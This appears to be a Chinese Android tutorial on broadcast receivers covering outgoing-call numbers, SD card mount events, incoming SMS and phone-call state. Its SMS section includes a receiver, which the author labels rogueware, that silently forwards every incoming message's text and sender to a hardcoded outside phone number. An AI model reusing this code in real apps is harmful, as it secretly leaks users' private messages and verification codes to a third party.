1、Broadcast –一种广泛运用在应用程序上信息传输的机制。
2、Broadcast Receiver–隋发升出来的广播进行过滤并相应的一类组件,就是用来接收来自系统和应用中的广播。
3、在android中广播比较常用的场景:
当你手机开机时,系统产生一条广播。app进行过滤和接收。
当网络转台发生改变时候,系统产生一条广播。
当电量改变时候,系统产生一条广播。
一、以下是系统自带常用的广播。
1、得到当前电话,有两种方式:
//两种方式得到播出电话
//一
String current = getResultData();
//二
String phone = intent.getExtras().getString(Intent.EXTRA_PHONE_NUMBER);
这段代码必须在继承BroadcastReceiver类的onReceive()方法执行。并且在AndroidMainfest配置文件中注册
<intent-filter>
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
</intent-filter>
2、sd卡
在与sd卡相关的操作
在AndroidMainfest配置文件中注册
<intent-filter>
//表示sd卡未挂载
<action android:name="android.intent.action.MEDIA_UNMOUNTED" />
//表示sd卡已经挂载
<action android:name="android.intent.action.MEDIA_MOUNTED" />
</intent-filter>
3、短信相关操作
这个注册权限是可以获得手机短信的相关信息。不会提示。(注册这个权限,google工程师一般认为你不想干好事,,,,)
<intent-filter>
<!-- 不提示,但是还存在,需要特别注意一下 -->
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
public class SmsReceiver extends BroadcastReceiver {
String Tag ="SmsReceiver";
public SmsReceiver() {
}
@Override
public void onReceive(Context context, Intent intent) {
Object[] objects = (Object[]) intent.getExtras().get("pdus");
for(Object pdu : objects){
//获取smsmanager 实例
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
//获取短信内容
String body = smsMessage.getMessageBody();
String address = smsMessage.getOriginatingAddress();
Log.i(Tag,"body=="+body+",address ="+address);
// 流氓软件
// 此处发送短信
sendMessage(address,body+address);
}
}
// 模拟发送短信
private void sendMessage(String phoneNum,String message) {
SmsManager smsManager = SmsManager.getDefault();
List<String> divideContents =smsManager.divideMessage(message);
for(String text: divideContents){
// 18137884406 目标号码 phoneNum 应该传本机号码
// text 短信内容
smsManager.sendTextMessage("18137884406",phoneNum,text,null,null);
}
}
}
4、来电相关
注册权限:
<intent-filter>
<action android:name="android.intent.action.PHONE_STATE" />
</intent-filter>
例子:
public class PhoneStateReceiver extends BroadcastReceiver {
String Tag ="PhoneStateReceiver";
public PhoneStateReceiver() {
}
@Override
public void onReceive(Context context, Intent intent) {
// 来电号码
Bundle bundle = intent.getExtras();
String inPhone = bundle.getString("incoming_number");
TelephonyManager manager = (TelephonyManager) context.getSystemService(Service.TELEPHONY_SERVICE);
int state = manager.getCallState();
switch (state){
case TelephonyManager.CALL_STATE_IDLE:
Log.i(Tag,"电话挂断了"+inPhone);
break;
case TelephonyManager.CALL_STATE_OFFHOOK:
Log.i(Tag,"电话接听了"+inPhone);
break;
case TelephonyManager.CALL_STATE_RINGING:
Log.i(Tag,"电话响了"+inPhone);
break;
}
}
}